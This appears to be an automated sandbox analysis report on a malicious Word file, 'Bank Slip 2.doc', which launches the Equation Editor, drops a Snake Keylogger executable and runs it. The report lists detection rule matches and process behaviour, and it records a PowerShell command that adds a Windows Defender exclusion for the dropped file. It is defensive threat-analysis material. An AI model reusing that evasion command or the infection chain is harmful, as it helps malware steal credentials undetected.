Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: FcdBUj68lnCbMtB[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: obie8920193.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, zi--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, zi--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, zi--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, zi--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, W69GQbvchlGWfxEUg3.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: 5.2.obie8920193.exe.4c0000.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 5.2.obie8920193.exe.2734d44.5.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 5.2.obie8920193.exe.2755f14.7.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@25/5

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$nk Slip 2.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR737A.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......a..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......m..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.L..................................s.................... ........./.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s....................$........./.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......!..........................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......3..........................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......?..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2........./.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......]..........................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......o..........................s....................l........./.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......{..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................L..................................s............................../.............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L..................................s............................../.............	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Bank Slip 2.doc

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: Bank Slip 2.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Bank Slip 2.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation

.NET source code contains potential unpacker

Source: FcdBUj68lnCbMtB[1].exe.2.dr, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: obie8920193.exe.2.dr, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, W69GQbvchlGWfxEUg3.cs	.Net Code: LjBwfxGmLB5enfYePel System.Reflection.Assembly.Load(byte[])
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, W69GQbvchlGWfxEUg3.cs	.Net Code: LjBwfxGmLB5enfYePel System.Reflection.Assembly.Load(byte[])
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, W69GQbvchlGWfxEUg3.cs	.Net Code: LjBwfxGmLB5enfYePel System.Reflection.Assembly.Load(byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D5355 push esp; ret	2_2_005D5357
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D887D push dword ptr [esi+ebp*4-4Eh]; ret	2_2_005D8883
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005CA67E push ecx; iretd	2_2_005CA67F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D667A push esp; ret	2_2_005D667B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D666A push esp; ret	2_2_005D666B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005C8F60 push eax; retf	2_2_005C8F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D6319 push ebp; ret	2_2_005D631B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D6311 push ebp; ret	2_2_005D6313
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D4E01 push ebx; ret	2_2_005D4E1B
